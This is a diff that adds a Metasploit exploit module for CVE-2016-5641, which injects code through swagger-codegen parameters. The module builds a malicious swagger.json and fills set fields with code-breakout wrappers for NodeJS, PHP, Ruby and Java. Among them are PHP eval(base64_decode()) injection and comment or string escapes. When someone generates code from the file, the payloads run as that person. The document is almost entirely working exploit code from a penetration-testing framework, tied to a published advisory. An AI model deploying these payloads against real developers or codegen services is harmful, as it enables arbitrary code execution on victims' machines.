|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +# |
| 7 | +# Gems |
| 8 | +# |
| 9 | +require 'base64' |
| 10 | + |
| 11 | +# |
| 12 | +# Project |
| 13 | +# |
| 14 | + |
| 15 | +require 'msf/core' |
| 16 | + |
| 17 | +class MetasploitModule < Msf::Exploit::Remote |
| 18 | + |
| 19 | + Rank = ExcellentRanking |
| 20 | + |
| 21 | + include Msf::Exploit::FILEFORMAT |
| 22 | + |
| 23 | + def initialize(info = {}) |
| 24 | + super(update_info(info, |
| 25 | + 'Name' => 'JSON Swagger CodeGen Parameter Injector', |
| 26 | + 'Description' => %q{ |
| 27 | + This module generates a Open API Specification 2.0 (Swagger) compliant |
| 28 | + json document that includes payload insertion points in parameters. |
| 29 | +
|
| 30 | + In order for the payload to be executed, an attacker must convince |
| 31 | + someone to generate code from a specially modified swagger.json file |
| 32 | + within a vulnerable swagger-codgen appliance/container/api/service, |
| 33 | + and then to execute that generated code (or include it into software |
| 34 | + which will later be executed by another victim). By doing so, an |
| 35 | + attacker can execute arbitrary code as the victim user. The same |
| 36 | + vulnerability exists in the YAML format. |
| 37 | + }, |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'Author' => |
| 40 | + [ |
| 41 | + 'ethersnowman <[email protected]>' |
| 42 | + ], |
| 43 | + 'References' => |
| 44 | + [ |
| 45 | + [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], |
| 46 | + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] |
| 47 | + ], |
| 48 | + 'Platform' => %w{ nodejs php java ruby }, |
| 49 | + 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], |
| 53 | + ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], |
| 54 | + ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ], |
| 55 | + ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] |
| 56 | + ], |
| 57 | + 'DisclosureDate' => 'Jun 23 2016', |
| 58 | + 'DefaultTarget' => 0)) |
| 59 | + |
| 60 | + register_options( |
| 61 | + [ |
| 62 | + OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), |
| 63 | + OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), |
| 64 | + OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), |
| 65 | + OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), |
| 66 | + OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), |
| 67 | + OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), |
| 68 | + OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']), |
| 69 | + OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']), |
| 70 | + OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), |
| 71 | + OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), |
| 72 | + OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) |
| 73 | + ], self.class) |
| 74 | + end |
| 75 | + |
| 76 | + def swagger |
| 77 | + %Q( |
| 78 | + { |
| 79 | + "swagger": "2.0", |
| 80 | + "info": { |
| 81 | + "description": "#{datastore['INFO_DESCRIPTION']}", |
| 82 | + "version": "#{datastore['INFO_VERSION']}", |
| 83 | + "title": "#{datastore['INFO_TITLE']}" |
| 84 | + }, |
| 85 | + "schemes": [ |
| 86 | + "#{datastore['SWAGGER_SCHEME']}" |
| 87 | + ], |
| 88 | + "host": "#{datastore['SWAGGER_HOST']}", |
| 89 | + "basePath": "#{datastore['BASE_PATH']}", |
| 90 | + "produces": [ |
| 91 | + "application/json" |
| 92 | + ], |
| 93 | + "consumes": [ |
| 94 | + "application/json" |
| 95 | + ], |
| 96 | + "paths": { |
| 97 | + "#{datastore['PATH']}": { |
| 98 | + "get": { |
| 99 | + "description": "#{datastore['PATH_DESCRIPTION']}", |
| 100 | + "responses": { |
| 101 | + "200": { |
| 102 | + "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}", |
| 103 | + "schema": { |
| 104 | + "$ref": "#/definitions/d" |
| 105 | + } |
| 106 | + } |
| 107 | + } |
| 108 | + } |
| 109 | + } |
| 110 | + }, |
| 111 | + "definitions": { |
| 112 | + "d": { |
| 113 | + "type": "object", |
| 114 | + "description": "#{datastore['DEFINITION_DESCRIPTION']}", |
| 115 | + "properties": { |
| 116 | + "id": { |
| 117 | + "type": "integer", |
| 118 | + "format": "int64" |
| 119 | + } |
| 120 | + } |
| 121 | + } |
| 122 | + } |
| 123 | + } |
| 124 | + ) |
| 125 | + end |
| 126 | + |
| 127 | + def exploit |
| 128 | + case payload.arch[0] |
| 129 | + when 'nodejs' |
| 130 | + payload_loc = 'PATH' |
| 131 | + payload_prefix = "/a');};};return exports;}));" |
| 132 | + payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" |
| 133 | + wrapped_payload = payload_prefix + payload.encoded + payload_suffix |
| 134 | + when 'php' |
| 135 | + payload_loc = 'INFO_DESCRIPTION' |
| 136 | + payload_prefix = "*/ namespace foobar; eval(base64_decode('" |
| 137 | + payload_suffix = "')); /*" |
| 138 | + wrapped_payload = payload_prefix + |
| 139 | + Base64.strict_encode64(payload.encoded) + |
| 140 | + payload_suffix |
| 141 | + when 'ruby' |
| 142 | + payload_loc = 'INFO_TITLE' |
| 143 | + payload_prefix = "=end " |
| 144 | + payload_suffix = "=begin " |
| 145 | + wrapped_payload = payload_prefix + payload.encoded + payload_suffix |
| 146 | + when 'java' |
| 147 | + payload_loc = 'PATH' |
| 148 | + payload_prefix = %q{a\\\"; "} |
| 149 | + p = payload.encoded.gsub(/<%@page import="/, 'import ') |
| 150 | + p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') |
| 151 | + p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') |
| 152 | + wrapped_payload = payload_prefix + p |
| 153 | + else |
| 154 | + raise IncompatiblePayloadError.new(datastore['PAYLOAD']) |
| 155 | + end |
| 156 | + |
| 157 | + datastore[payload_loc] = wrapped_payload |
| 158 | + |
| 159 | + print_status swagger |
| 160 | + file_create swagger |
| 161 | + end |
| 162 | +end |
0 commit comments